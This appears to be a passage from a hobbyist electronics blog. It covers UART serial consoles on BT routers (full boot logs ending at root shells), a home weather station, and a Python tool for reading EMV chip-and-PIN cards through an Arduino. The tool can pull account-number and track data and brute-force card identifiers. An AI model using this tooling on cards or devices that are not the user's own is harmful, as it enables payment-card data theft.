MAC Address should be in the following format: xx.xx.xx.xx.xx.xx
VFS: Mounted root (squashfs filesystem) readonly.
Mounted devfs on /dev
Freeing unused kernel memory: 56k freed
serial console detected.  Disabling virtual terminals.
console=/dev/tts/0
init started:  BusyBox v0.61.pre (2005.09.27-08:20+0000) multi-call binary
Starting pid 9, console /dev/tts/0: '/usr/etc/rcS'
Using /lib/modules/2.4.17_mvl21-malta-mips_fp_le/kernel/drivers/atm/tiatm.o
registered device TI Avalanche SAR
DSP binary filesize = 357754 bytes
Texas Instruments ATM driver: version:[4.05.03.00]
Using /lib/modules/push_button.o
Using /lib/modules/led.o
Using /lib/modules/2.4.17_mvl21-malta-mips_fp_le/kernel/net/ipv4/netfilter/ipt_REJECT.o
Using /lib/modules/2.4.17_mvl21-malta-mips_fp_le/kernel/net/ipv4/netfilter/ipt_string.o
Using /lib/modules/2.4.17_mvl21-malta-mips_fp_le/kernel/net/ipv4/netfilter/ipt_random.o
ipt_random match loaded
Using /lib/modules/2.4.17_mvl21-malta-mips_fp_le/kernel/net/ipv4/netfilter/ipt_mark.o
Using /lib/modules/2.4.17_mvl21-malta-mips_fp_le/kernel/net/ipv4/netfilter/ipt_condition.o
Default Asymmetric MTU for br0 1500
device eth0 entered promiscuous mode
ap_name=(null) action=start
br0: port 1(eth0) entering learning state
br0: port 1(eth0) entering forwarding state
br0: topology change detected, propagating
killall: syslogd: no process killed
killall: upnpd: no process killed
iptables: No chain/target/match by that name
iptables: No chain/target/match by that name
killall: upnpd: no process killed
killall: snmpd: no process killed
killall: cpu: no process killed
iptables: Bad rule (does a matching rule exist in that chain?)
iptables: Bad rule (does a matching rule exist in that chain?)
iptables: Bad rule (does a matching rule exist in that chain?)
iptables: Bad rule (does a matching rule exist in that chain?)
Notice: caching turned off
Warning: Using /etc/hosts will be removed in a future version. Please use only the /etc/dnrd/master file or use -m off.
dnrd -a 192.168.1.100 -m hosts -c off -b 
/usr/etc/rcS: /usr/sbin/dproxy: No such file or directory
UPnP Initialized
Intialized UPnP 
	with fullurl=http://192.168.1.100:49152/gateway.xml
		     ipaddress=192.168.1.100 port=49152
	     web_dir_path=/usr/upnp/
	     desc_doc_url=http://192.168.1.100:49152
Specifying the webserver root directory -- /usr/upnp/
Registering the RootDevice
RootDevice Registered
Initializing State Table
fullurl http://192.168.1.100:49152/gateway.xml 
SIOCADDRT: File exists
/usr/etc/rcS: cannot create /proc/sys/net/ipv4/netfilter/ip_conntrack_tcp_log_invalid: No such file or directory
Starting pid 121, console /dev/tts/0: '/usr/sbin/mxp'
Bummer, could not run '/usr/sbin/mxp': No such file Waiting for enter to start '/bin/sh' (pid 123, terminal /dev/tts/0)

Please press Enter to activate this console. 
Starting pid 123, console /dev/tts/0: '/bin/sh'


BusyBox v0.61.pre (2005.09.27-08:20+0000) Built-in shell (ash)
Enter 'help' for a list of built-in commands.

# 
  

And the bootloader (ADAM2):

ADAM2 Revision 0.18.01
(C) Copyright 1996-2003 Texas Instruments Inc. All Rights Reserved.
(C) Copyright 2003 Telogy Networks, Inc.
Usage: setmfreq [-d] [-s sys_freq, in MHz] [cpu_freq, in MHz]
Memory optimization Complete!

DGB34 > 
DGB34 > 
Press any key to abort OS load, or wait 3 seconds for OS to boot...

 
DGB34 > help
	 Commands		Description
	 --------		-----------
         h/help Displays the commands supported
           info Displays board information
          memop Memory Optimization
       setmfreq configures/dumps the system and cpu frequencies
             dm Dump memory at <address>
          erase Erase Flash except Adam2 Kernel and Env space
       printenv Displays Env. Variables
         setenv Sets Env. variable <var> with a value <val>
       unsetenv Unsets the Env. variable <var>
         fixenv Defragment for Env. space
             go Loads the image starting at address <mtd1>
DGB34 > info
Monitor Revision              0.18.01
Monitor Compilation time      Aug  1 2003, 14:43:32
Endianness                    Little
External Memory rate          Full, 16 bit wide
CPU Frequency                 150 MHz
DGB34 >
  
uart|
bus pirate and pirate bus 18 Dec 2013

Another orbit of the sun... Here's my new Bus Pirate with my pirate bus cake:

More info over at tales of the inner monkey.

bus pirate|
bt voyager 220v uart 6 Oct 2013

Another BT device - this one is a Voyager 220V. It uses same type of processor as the home hub and again, the four serial uart pins (+v, gnd, rx and tx) were close by. On the 220V they already had a connector soldered in:

To identify the pins, the process was roughly:

If you've found the TX line then hopefully you'll see something like this (notice the text in the ASCII column):

Finally connect a TTL serial interface - I'm using a FTDI breakout and level shift as needed. The 220V is a 3.3v system and my FTDI board is 5v so I use a Spark Fun board to do the shifting (on the little red breadboard in the first image). A bit of trial and error may be required to find the RX pin but it's usually next to the TX. (OLS will also guess the baud rate but I've chopped that bit off in my screen grab.)

Here's the full boot output (captured with "cu -l /dev/ttyUSB0 -s 115200"):

CFE version 1.0.37-21.6.5 for BCM96348 (32bit,SP,BE)
Build Date: Tue Jul 19 17:51:53 CST 2005 (michaelc@AskeyBrcmServer)

Ethernet Network Device: Internal PHY
Auto-negotiation timed-out

Board IP address                : 192.168.1.1:ffffff00  
Host IP address                 : 192.168.1.2  
Gateway IP address              :   
Run from flash/host (f/h)       : f  
Default host run file name      :   
Default host flash file name    : bcmModelName_fs_kernel  
Boot delay (1-9 seconds)        : 1  
Board Id Name                   : RTA1052V  
Psi size in KB                  : 24
Number of MAC Addresses (1-32)  : 3  
Ethernet MAC Address            : 00:11:f5:8d:53:be  
Memory size in MB               : 16

==== Press space key to stop auto run (1 seconds) ====
Auto run second count down(before hit space key): 0
Code Address: 0x80010000, Entry Address: 0x8001046c
Decompression OK!
Entry at 0x8001046c
Closing network.
Starting program at 0x8001046c
Flash 88c5 with cs0 0x00000015
Total Flash size: 4096K with 71 sectors
Scratch pad is not used for this flash part.
RTA1052V prom init
CPU revision is: 00029107
Primary instruction cache 16kb, linesize 16 bytes (2 ways)
Primary data cache 8kb, linesize 16 bytes (2 ways)
Linux version 2.4.17 (michaelc@AskeyBrcmServer) (gcc version 3.1) #1 Thu Jul 28 22:15:28 CST 2005
Determined physical RAM map:
 memory: 00fa0000 @ 00000000 (usable)
On node 0 totalpages: 4000
zone(0): 4000 pages.
zone(1): 0 pages.
zone(2): 0 pages.
Kernel command line: root=/dev/mtdblock0 ro
bcm_console_setup
Calibrating delay loop... 255.59 BogoMIPS
Memory: 14140k/16000k available (1146k kernel code, 1860k reserved, 84k data, 44k init, 0k highmem)
Dentry-cache hash table entries: 2048 (order: 2, 16384 bytes)
Inode-cache hash table entries: 1024 (order: 1, 8192 bytes)
Mount-cache hash table entries: 512 (order: 0, 4096 bytes)
Buffer-cache hash table entries: 1024 (order: 0, 4096 bytes)
Page-cache hash table entries: 4096 (order: 2, 16384 bytes)
Checking for 'wait' instruction...  unavailable.
POSIX conformance testing by UNIFIX
Linux NET4.0 for Linux 2.4
Based upon Swansea University Computer Society NET3.039
Initializing RT netlink socket
Starting kswapd
brcmboard: brcm_board_init entry
Module bcm63xx_cons.c v1.1 Jul 28 2005 22:15:50
block: 64 slots per queue, batch=16
PPP generic driver version 2.4.1
NET4: Linux TCP/IP 1.0 for NET4.0
IP Protocols: ICMP, UDP, TCP, IGMP
IP: routing cache hash table of 512 buckets, 4Kbytes
TCP: Hash tables configured (established 512 bind 1024)
Linux IP multicast router 0.06 plus PIM-SM
NET4: Unix domain sockets 1.0/SMP for Linux NET4.0.
Ebtables v2.0 registered<6>NET4: Ethernet Bridge 008 for NET4.0
VFS: Mounted root (cramfs filesystem) readonly.
Freeing unused kernel memory: 44k freed
init started:  BusyBox v0.60.4 (2005.07.28-14:25+0000) multi-call binary
Algorithmics/MIPS FPU Emulator v1.5


BusyBox v0.60.4 (2005.07.28-14:25+0000) Built-in shell (msh)
Enter 'help' for a list of built-in commands.


Loading drivers and kernel modules... 

atmapi: init_module entry 0xc000d060
blaadd: blaa_detect entry
adsl: adsl_init entry
var 1.0 initialised
Endpoint: endpoint_init entry
BOS: Enter bosInit 
BOS: Enter bosAppInit 
BOS: Exit bosAppInit 
BOS: Exit bosInit 
Endpoint: endpoint_init COMPLETED
Broadcom BCM6348A2 Ethernet Network Device v0.1 Jul 28 2005 22:22:53 Ports 1  unit 0 Internal PHY
BCM63xx_ENET: Auto-negotiation timed-out
BCM63xx_ENET: 10 MB Half-Duplex (assumed)
eth0: MAC Address: 00:11:F5:8D:53:BE
Broadcom BCM6348A2 USB Network Device v0.3 Jul 28 2005 22:22:54
usb0: MAC Address: 00 11 F5 8D 53 BF
usb0: Host MAC Address: 00 11 F5 8D 53 C0
USB Vendor id=069a, USB Product id=0319 

==>   Bcm963xx Software Version: 2.21.05.07_A2pB018c1.d16d   <==

The MGCP client is already stopped 
##Client==>Server>B:Call agent is NOT ready
##Client==>Server>D:Internet Connection is down
  

And here's the CFE boot loader:

CFE version 1.0.37-21.6.5 for BCM96348 (32bit,SP,BE)
Build Date: Tue Jul 19 17:51:53 CST 2005 (michaelc@AskeyBrcmServer)

Ethernet Network Device: Internal PHY
Auto-negotiation timed-out

Board IP address                : 192.168.1.1:ffffff00  
Host IP address                 : 192.168.1.2  
Gateway IP address              :   
Run from flash/host (f/h)       : f  
Default host run file name      :   
Default host flash file name    : bcmModelName_fs_kernel  
Boot delay (1-9 seconds)        : 1  
Board Id Name                   : RTA1052V  
Psi size in KB                  : 24
Number of MAC Addresses (1-32)  : 3  
Ethernet MAC Address            : 00:11:f5:8d:53:be  
Memory size in MB               : 16

==== Press space key to stop auto run (1 seconds) ====
Auto run second count down(before hit space key): 1
web info: Waiting for connection on socket 0.
CFE>           
CFE> ?
Invalid command: "?"
Available commands: w, e, r, p, c, f, i, b, reset, flashimage, help

*** command status = -1
CFE> help
Available commands:

w                   Write the whole image start from beginning of the flash
e                   Erase [n]vram or [a]ll flash except bootrom
r                   Run program from flash image or from host depend on [f/h] flag
p                   Print boot line and board parameter info
c                   Change booline parameters
f                   Write image to the flash 
i                   Erase persistent storage data
b                   Change board parameters
reset               Reset the board
flashimage          Flashes a compressed image after the bootloader.
help                Obtain help for CFE commands
  
uart|bcm6348|
weathoscope v2 29 Sep 2013

After a long time without any sort of attention, the weathoscope has had a bit of an overhaul. A few months ago I rewrote the web UI, mostly just to use jQuery and flot rather than the Google charts API. The BMP085 pressure sensor breakout board I was playing with back in March has been integrated. Here it is on the breadboard:

And here it is wrapped in some heat shrink tubing for protection. There's a square hole cut in the tubing with a scalpel to expose the actual sensor. (The white stuff is the remnants of a piece of sticky foam pad; I forgot to take a picture before sticking it down...)

Although the BMP085 is a pressure sensor it also provides a digital temperature output - as this is factory calibrated it has replaced the readings I was previously getting using a LM335Z. The LM335Z is still connected and logged, I just don't use the values in the front end.

The anemometer is the device I first made back in December 2010. It's only recently come into service with some cups taken from a basic weather station kit - it originally had some home made blades but these were just rubbish; they didn't really turn easily and fell apart in the end.

Inside the blue box, at the other end of the axle is a cog with a single hole, an infrared LED and light dependant resistor. The LDR is connected to one of the arduino's interrupt pins and gets triggered when the hole is between the LED and the LDR. I.e. once per revolution. Using the radius of the cups and the count of the revolutions over a known time period we can calculate the wind speed.

Software The software stack comprises of the arduino code that deals with the individual sensors, then outputs a set of key value pairs on the uart (once per minute). This is read by a perl script running on the host PC that parses and inserts the readings into a postgres database. A recent amendment makes this script pushes the data up to OpenWeatherMap too.

On the front end web server there's a small PHP script that acts as a simple RPC wrapper around the DB. It'll take one of the date ranges (day, week, month etc) and output a JSON-ified object ready for feeding into flot. Finally there's a bit of jQuery combined with flot to draw the graphs. APC is used to cache the results from the DB to avoid hitting the DB too often.

The latest code needs a bit of a clean up before I can release it; hopefully get it posted in the next week or so.

Plans Current plans include extending the system with a humidity sensor, replace the light sensor that has corroded away and maybe once the 3D printer arrives, build a tipping bucket rain gauge.

Web UI is here. To see the other weathoscope related posts click the 'weathoscope' tag at the bottom of the page (or click here).

weathoscope|arduino|
bt homehub v1 uart 14 Sep 2013

This one was pretty easy to guess at - there's a row of four standard pitch holes just to the right of the CPU (the large Broadcom chip) - and as openwrt has been ported, it was pretty easy to verify too :)

I've soldered female headers on to this one and in the image above you can see the braided black/green/yellow wires that lead off to a level converter and FTDI board on a small red breadboard that's just out of shot.

It's got a 250MHz MIPS cpu, 32MB of RAM, two 100Mb wired interfaces, 802.11bg, USB and just maybe the DECT bits might be usable (no ADSL though) - wonder what to do with it!

As it's really just a Speedtouch 7G, the best information can be found here. (Including pinouts and links on how to install redboot and openwrt.)

uart|bcm6348|
reading emv(chip and pin) cards with an arduino 24 Aug 2013

The code at the bottom of this post is a modification of RFIDIOt's ChAP.py to use Mako's iso7816 arduino interface instead of pyscard. It's based on the code I wrote recently and let's you read EMV/Chip and pin cards with just an arduino as the hardware interface. In the above image of one of my homemade breadboard arduino's, the 5 wires are connected directly to the relevant contacts on the card - no external parts required. Example of the first 20ish lines of output:

PSE found!
  6f: File Control Information (FCI) Template (36 bytes):
     84: DF Name (14 bytes): 
     a5: Proprietary Information (18 bytes):
        88: Short File Identifier (1 bytes): 01
        bf0c: File Control Information (FCI) Issuer Discretionary Data (12 bytes): skipping BER-TLV object!
  Checking for records:
  Record 01, File 01: length 34
      AID found: a0 00 00 00 05 00 01
  Record 02, File 01: length 33
      AID found: a0 00 00 00 24 01
  Record 03, File 01: length 34
      AID found: a0 00 00 00 29 10 10
  Record 04, File 01: length 34
      AID found: a0 00 00 00 04 30 60
  Found AID: Maestro - a0 00 00 00 04 30 60
  6f: File Control Information (FCI) Template (47 bytes):
     84: DF Name (7 bytes): 
     a5: Proprietary Information (36 bytes):
        50: Application Label (16 bytes): Maestro         
        87: Application Priority Indicator (1 bytes): skipping BER-TLV object!
  Processing Options:   80: Response Message Template Format 1 (14 bytes): 5c 00 08 01 01 00 10 01 03 01 18 01 03 00
    Cardholder verification is supported
    Issuer authentication is supported
    Terminal risk management is to be performed
  

The changes to ChAP.py are mainly just the actual transmit functions and a little bit of initialisation. Although v0.1c appears to have PIN VERIFY I couldn't get this to work; it may be just that I can't actually remember the PINs to the old cards I'm testing with but it appears the card didn't actually send a bad PIN response. They did however decrement the PIN tries counter...

To use you need to upload Mako's sketch to a 328 based arduino, connect the EMV card as:

And run the below code on the PC connected to the arduino. Use a '-h' argument to see the available options.

#! /usr/bin/env python
"""
Script that tries to select the EMV Payment Systems Directory 
using Mako's iso7816 arduino interface
http://www.makomk.com/2011/02/25/iso-7816-smartcard-interface-for-arduino/
  Copyright 2013 Lee Bowyer
  http://www.sodnpoo.com/posts.xml/reading_emv(chip_and_pin)_cards_with_an_arduino.xml

This file is based on ChAP.py from RFIDIOt.
  Copyright 2008 RFIDIOt
  Author: Adam Laurie, mailto:adam@algroup.co.uk
	  http://rfidiot.org/ChAP.py

This file is based on an example program from scard-python.
  Originally Copyright 2001-2007 gemalto
  Author: Jean-Daniel Aussel, mailto:jean-daniel.aussel@gemalto.com

scard-python is free software; you can redistribute it and/or modify
it under the terms of the GNU Lesser General Public License as published by
the Free Software Foundation; either version 2.1 of the License, or
(at your option) any later version.

scard-python is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
GNU Lesser General Public License for more details.

You should have received a copy of the GNU Lesser General Public License
along with scard-python; if not, write to the Free Software
Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA  02110-1301  USA
"""

from time import sleep

portname = "/dev/ttyUSB0" #default

def xmit(apdu=None):
  command = ""
  if apdu == None:
    command = 'R' #ATR
  else:
    #hexprint(apdu)
    for i in apdu: #format the command for mako's iso7816 arduino interface
      command = command +'.'+ chr(i) 

  e = 0
  reading = False
  SW1 = None
  SW2 = None
  line = []
  with open(portname,"r+") as f:
    while f:
      b = f.read(1)
      if e > 64:
        #print "line:",
        #hexprint(line)
        e = 0
        if SW1 != None and SW2 != None:
          f.close()
          f = None
          return line[1:-2], ord(SW1), ord(SW2)
      if b:
        if b == 'A': #ack
          #print "ack"
          pass        
        elif b == '.':
          b = f.read(1)
          while not b:
            b = f.read(1)

          line.append(ord(b))  
          SW1 = SW2
          SW2 = b
      else:
        e = e + 1
        sleep(0.01)
        
        if not reading:
          reading = True
          f.write(command)

import getopt
import sys
from operator import *

# local imports
#from rfidiot.iso3166 import ISO3166CountryCodes

# default global options
BruteforcePrimitives= False
BruteforceFiles= False
BruteforceAID= False
BruteforceEMV= False
OutputFiles= False
Debug= False
RawOutput= False
Verbose= False

# Global VARs for data interchange
Cdol1= ''
Cdol2= ''
CurrentAID= ''

# known AIDs
# please mail new AIDs to aid@rfidiot.org
KNOWN_AIDS= 	[
		['VISA',0xa0,0x00,0x00,0x00,0x03],
		['VISA Debit/Credit',0xa0,0x00,0x00,0x00,0x03,0x10,0x10],
		['VISA Credit',0xa0,0x00,0x00,0x00,0x03,0x10,0x10,0x01],
		['VISA Debit',0xa0,0x00,0x00,0x00,0x03,0x10,0x10,0x02],
		['VISA Electron',0xa0,0x00,0x00,0x00,0x03,0x20,0x10],
		['VISA Interlink',0xa0,0x00,0x00,0x00,0x03,0x30,0x10],
		['VISA Plus',0xa0,0x00,0x00,0x00,0x03,0x80,0x10],
		['VISA ATM',0xa0,0x00,0x00,0x00,0x03,0x99,0x99,0x10],
		['MASTERCARD',0xa0,0x00,0x00,0x00,0x04,0x10,0x10],
		['Maestro',0xa0,0x00,0x00,0x00,0x04,0x30,0x60],
		['Maestro UK',0xa0,0x00,0x00,0x00,0x05,0x00,0x01],
		['Maestro TEST',0xb0,0x12,0x34,0x56,0x78],
		['Self Service',0xa0,0x00,0x00,0x00,0x24,0x01],
		['American Express',0xa0,0x00,0x00,0x00,0x25],
		['ExpressPay',0xa0,0x00,0x00,0x00,0x25,0x01,0x07,0x01],
		['Link',0xa0,0x00,0x00,0x00,0x29,0x10,0x10],
	     	['Alias AID',0xa0,0x00,0x00,0x00,0x29,0x10,0x10],
	    	]

# Master Data File for PSE
DF_PSE = [0x31, 0x50, 0x41, 0x59, 0x2E, 0x53, 0x59, 0x53, 0x2E, 0x44, 0x44, 0x46, 0x30, 0x31]

# define the apdus used in this script
AAC= 0
TC= 0x40
ARQC= 0x80
GENERATE_AC= [0x80,0xae]
GET_CHALLENGE= [0x00,0x84,0x00]
GET_DATA = [0x80, 0xca]
GET_PROCESSING_OPTIONS = [0x80,0xa8,0x00,0x00,0x02,0x83,0x00,0x00]
GET_RESPONSE = [0x00, 0xC0, 0x00, 0x00 ]
READ_RECORD = [0x00, 0xb2]
SELECT = [0x00, 0xA4, 0x04, 0x00]
UNBLOCK_PIN= [0x84,0x24,0x00,0x00,0x00]
VERIFY= [0x00,0x20,0x00,0x80]

#BRUTE_AID= [0xa0,0x00,0x00,0x00]
BRUTE_AID= []

# define tags for response
BINARY= 0
TEXT= 1
BER_TLV= 2
NUMERIC= 3
MIXED= 4
TEMPLATE= 0
ITEM= 1
VALUE= 2
SFI= 0x88
CDOL1= 0x8c
CDOL2= 0x8d
TAGS= 	{	
	0x4f:['Application Identifier (AID)',BINARY,ITEM],
	0x50:['Application Label',TEXT,ITEM],
	0x57:['Track 2 Equivalent Data',BINARY,ITEM],
	0x5a:['Application Primary Account Number (PAN)',NUMERIC,ITEM],
	0x6f:['File Control Information (FCI) Template',BINARY,TEMPLATE],
	0x70:['Record Template',BINARY,TEMPLATE],
	0x77:['Response Message Template Format 2',BINARY,ITEM],
	0x80:['Response Message Template Format 1',BINARY,ITEM],
	0x82:['Application Interchange Profile',BINARY,ITEM],
	0x83:['Command Template',BER_TLV,ITEM],
	0x84:['DF Name',MIXED,ITEM],
	0x86:['Issuer Script Command',BER_TLV,ITEM],
	0x87:['Application Priority Indicator',BER_TLV,ITEM],
	0x88:['Short File Identifier',BINARY,ITEM],
	0x8a:['Authorisation Response Code',BINARY,VALUE],
	0x8c:['Card Risk Management Data Object List 1 (CDOL1)',BINARY,TEMPLATE],
	0x8d:['Card Risk Management Data Object List 2 (CDOL2)',BINARY,TEMPLATE],
	0x8e:['Cardholder Verification Method (CVM) List',BINARY,ITEM],
	0x8f:['Certification Authority Public Key Index',BINARY,ITEM],
	0x93:['Signed Static Application Data',BINARY,ITEM],
	0x94:['Application File Locator',BINARY,ITEM],
	0x95:['Terminal Verification Results',BINARY,VALUE],
	0x97:['Transaction Certificate Data Object List (TDOL)',BER_TLV,ITEM],
	0x9c:['Transaction Type',BINARY,VALUE],
	0x9d:['Directory Definition File',BINARY,ITEM],
	0xa5:['Proprietary Information',BINARY,TEMPLATE],
	0x5f20:['Cardholder Name',TEXT,ITEM],
	0x5f24:['Application Expiration Date YYMMDD',NUMERIC,ITEM],
	0x5f25:['Application Effective Date YYMMDD',NUMERIC,ITEM],
	0x5f28:['Issuer Country Code',NUMERIC,ITEM],
	0x5f2a:['Transaction Currency Code',BINARY,VALUE],
	0x5f2d:['Language Preference',TEXT,ITEM],
	0x5f30:['Service Code',NUMERIC,ITEM],
	0x5f34:['Application Primary Account Number (PAN) Sequence Number',NUMERIC,ITEM],
	0x5f50:['Issuer URL',TEXT,ITEM],
	0x92:['Issuer Public Key Remainder',BINARY,ITEM],
	0x9a:['Transaction Date',BINARY,VALUE],
	0x9f02:['Amount, Authorised (Numeric)',BINARY,VALUE],
	0x9f03:['Amount, Other (Numeric)',BINARY,VALUE],
	0x9f04:['Amount, Other (Binary)',BINARY,VALUE],
	0x9f05:['Application Discretionary Data',BINARY,ITEM],
	0x9f07:['Application Usage Control',BINARY,ITEM],
	0x9f08:['Application Version Number',BINARY,ITEM],
	0x9f0d:['Issuer Action Code - Default',BINARY,ITEM],
	0x9f0e:['Issuer Action Code - Denial',BINARY,ITEM],
	0x9f0f:['Issuer Action Code - Online',BINARY,ITEM],
	0x9f11:['Issuer Code Table Index',BINARY,ITEM],
	0x9f12:['Application Preferred Name',TEXT,ITEM],
	0x9f1a:['Terminal Country Code',BINARY,VALUE],
	0x9f1f:['Track 1 Discretionary Data',TEXT,ITEM],
	0x9f20:['Track 2 Discretionary Data',TEXT,ITEM],
	0x9f26:['Application Cryptogram',BINARY,ITEM],
	0x9f32:['Issuer Public Key Exponent',BINARY,ITEM],
	0x9f36:['Application Transaction Counter',BINARY,ITEM],
	0x9f37:['Unpredictable Number',BINARY,VALUE],
	0x9f38:['Processing Options Data Object List (PDOL)',BINARY,TEMPLATE],
	0x9f42:['Application Currency Code',NUMERIC,ITEM],
	0x9f44:['Application Currency Exponent',NUMERIC,ITEM],
	0x9f4a:['Static Data Authentication Tag List',BINARY,ITEM],
	0x9f4d:['Log Entry',BINARY,ITEM],
	0x9f66:['Card Production Life Cycle',BINARY,ITEM],
	0xbf0c:['File Control Information (FCI) Issuer Discretionary Data',BER_TLV,TEMPLATE],
	}

#// conflicting item - need to check
#// 0x9f38:['Processing Optional Data Object List',BINARY,ITEM],

# define BER-TLV masks

TLV_CLASS_MASK= {	
		0x00:'Universal class',
		0x40:'Application class',
		0x80:'Context-specific class',
		0xc0:'Private class',
		}

# if TLV_TAG_NUMBER_MASK bits are set, refer to next byte(s) for tag number
# otherwise it's b1-5
TLV_TAG_NUMBER_MASK= 0x1f

# if TLV_DATA_MASK bit is set it's a 'Constructed data object'
# otherwise, 'Primitive data object'
TLV_DATA_MASK= 	0x20
TLV_DATA_TYPE= ['Primitive data object','Constructed data object']

# if TLV_TAG_MASK is set another tag byte follows
TLV_TAG_MASK= 0x80
TLV_LENGTH_MASK= 0x80


# define AIP mask
AIP_MASK= {
	  0x01:'CDA Supported (Combined Dynamic Data Authentication / Application Cryptogram Generation)',
	  0x02:'RFU',
	  0x04:'Issuer authentication is supported',
	  0x08:'Terminal risk management is to be performed',
	  0x10:'Cardholder verification is supported',
	  0x20:'DDA supported (Dynamic Data Authentication)',
	  0x40:'SDA supported (Static Data Authentiction)',
	  0x80:'RFU'
	  }

# define dummy transaction values (see TAGS for tag names)
# for generate_ac
TRANS_VAL= {
	   0x9f02:[0x00,0x00,0x00,0x00,0x00,0x01],
	   0x9f03:[0x00,0x00,0x00,0x00,0x00,0x00],
	   0x9f1a:[0x08,0x26],
	   0x95:[0x00,0x00,0x00,0x00,0x00],
	   0x5f2a:[0x08,0x26],
	   0x9a:[0x08,0x04,0x01],
	   0x9c:[0x01],
	   0x9f37:[0xba,0xdf,0x00,0x0d]
	   }
	
# define SW1 return values
SW1_RESPONSE_BYTES= 0x61
SW1_WRONG_LENGTH= 0x6c
SW12_OK= [0x90,0x00]
SW12_NOT_SUPORTED= [0x6a,0x81]
SW12_NOT_FOUND= [0x6a,0x82]
SW12_COND_NOT_SAT= [0x69,0x85]		# conditions of use not satisfied 
PIN_BLOCKED= [0x69,0x83]
PIN_BLOCKED2= [0x69,0x84]
PIN_WRONG= 0x63

# some human readable error messages
ERRORS= {
	'6700':"Not known",
	'6985':"Conditions of use not satisfied or Command not supported",
	'6984':"PIN Try Limit exceeded"
	}

# define GET_DATA primitive tags
PIN_TRY_COUNTER= [0x9f,0x17]
ATC= [0x9f,0x36]
LAST_ATC= [0x9f,0x13]
LOG_FORMAT= [0x9f, 0x4f]

# define TAGs after BER-TVL decoding
BER_TLV_AIP= 0x02
BER_TLV_AFL= 0x14 

def printhelp():
	print '\nChAPduino.py - Chip And PIN in Python for Arduino'
	print 'Ver 0.1c\n'
	print 'usage:\n\n ChAP.py [options] [PIN]'
	print
	print 'If the optional numeric PIN argument is given, the PIN will be verified (note that this' 
	print 'updates the PIN Try Counter and may result in the card being PIN blocked).'
	print '\nOptions:\n'
	print '\t-a\t\tBruteforce AIDs'
	print '\t-A\t\tPrint list of known AIDs'
	print '\t-d\t\tDebug - Show PC/SC APDU data'
	print '\t-e\t\tBruteforce EMV AIDs'
	print '\t-f\t\tBruteforce files'
	print '\t-h\t\tPrint detailed help message'
	print '\t-o\t\tOutput to files ([AID]-FILExxRECORDxx.HEX)'
	print '\t-p\t\tBruteforce primitives'
	print '\t-r\t\tRaw output - do not interpret EMV data'
	print '\t-s <port>\tuse <port> serial port (default: /dev/ttyUSB0)'
	print '\t-v\t\tVerbose on'
        print

def hexprint(data):
	index= 0

	while index < len(data):
		print '%02x' % data[index],
		index += 1
	print

def get_tag(data,req):
	"return a tag's data if present"

	index= 0

	# walk the tag chain to ensure no false positives
	while index < len(data):
		try:
			# try 1-byte tags
			tag= data[index]	
			TAGS[tag]
			taglen= 1
		except:
			try:
				# try 2-byte tags
				tag= data[index] * 256 + data[index+1]
				TAGS[tag]
				taglen= 2
			except:
				# tag not found
				index += 1
				continue
		if tag == req:
			itemlength= data[index + taglen]
			index += taglen + 1
			return True, itemlength, data[index:index + itemlength]
		else:
			index += taglen + 1
	return False,0,''

def isbinary(data):
	index= 0

	while index < len(data):
		if data[index] < 0x20 or data[index] > 0x7e:
			return True
		index += 1
	return False

def decode_pse(data):
	"decode the main PSE select response"

	index= 0
	indent= ''

	if OutputFiles:
		file= open('%s-PSE.HEX' % CurrentAID,'w')
		for n in range(len(data)):
			file.write('%02X' % data[n])
		file.flush()
		file.close()

		
	if RawOutput:
		hexprint(data)
		textprint(data)
		return

	while index < len(data):
		try:
			tag= data[index]
			TAGS[tag]
			taglen= 1
		except:
			try:
				tag= data[index] * 256 + data[index+1]
				TAGS[tag]
				taglen= 2
			except:
				print indent + '  Unrecognised TAG:', 
				hexprint(data[index:])
				return
		print indent + '  %0x:' % tag, TAGS[tag][0],
		if TAGS[tag][2] == VALUE:
			itemlength= 1
			offset= 0
		else:
			itemlength= data[index + taglen]
			offset= 1
		print '(%d bytes):' % itemlength,
		# store CDOLs for later use
		if tag == CDOL1:
			Cdol1= data[index + taglen:index + taglen + itemlength + 1]
		if tag == CDOL2:
			Cdol2= data[index + taglen:index + taglen + itemlength + 1]
		out= ''
		mixedout= []
		while itemlength > 0:
			if TAGS[tag][1] == BER_TLV:
				print 'skipping BER-TLV object!'
				return
				#decode_ber_tlv_field(data[index + taglen + offset:])
			if TAGS[tag][1] == BINARY or TAGS[tag][1] == VALUE:
					if TAGS[tag][2] != TEMPLATE or Verbose:
						print '%02x' % data[index + taglen + offset],
			else: 
				if TAGS[tag][1] == NUMERIC:
					out += '%02x' % data[index + taglen + offset]
				else:
					if TAGS[tag][1] == TEXT:
						out += "%c" % data[index + taglen + offset]
					if TAGS[tag][1] == MIXED:
						mixedout.append(data[index + taglen + offset])
			itemlength -= 1
			offset += 1
		if TAGS[tag][1] == MIXED:
			if isbinary(mixedout):
				hexprint(mixedout)
			else:
				textprint(mixedout)
		if TAGS[tag][1] == BINARY:
			print
		if TAGS[tag][1] == TEXT or TAGS[tag][1] == NUMERIC:
			print out,
			if tag == 0x9f42 or tag == 0x5f28:
				#print '(' + ISO3166CountryCodes['%03d' % int(out)] + ')'
				print '(' + '%03d' % int(out) + ')'
			else:
				print
		if TAGS[tag][2] == ITEM:
			index += data[index + taglen] + taglen + 1
		else:
			index += taglen + 1
#			if TAGS[tag][2] != VALUE:
#				indent += '   ' 
	indent= ''

def textprint(data):
	index= 0
	out= ''

	while index < len(data):
		if data[index] >= 0x20 and data[index] < 0x7f:
			out += chr(data[index])
		else:
			out += '.'
		index += 1
	print out

def bruteforce_primitives():
	for x in range(256):
		for y in range(256):
			status, length, response= get_primitive([x,y])
			if status:
				print 'Primitive %02x%02x: ' % (x,y)
				if response:
					hexprint(response)
					textprint(response)

def get_primitive(tag):
	# get primitive data object - return status, length, data
	le= 0x00
	apdu = GET_DATA + tag + [le]
	response, sw1, sw2 = send_apdu(apdu)
	if response[0:2] == tag:
		length= response[2]
		return True, length, response[3:]
	else:
		return False, 0, ''

def check_return(sw1,sw2):
	if [sw1,sw2] == SW12_OK:
		return True
	return False

def send_apdu(apdu):
	# send apdu and get additional data if required 
	#response, sw1, sw2 = cardservice.connection.transmit( apdu, Protocol )
	response, sw1, sw2 = xmit(apdu)
	if sw1 == SW1_WRONG_LENGTH:
		# command used wrong length. retry with correct length.
		apdu= apdu[:len(apdu) - 1] + [sw2]
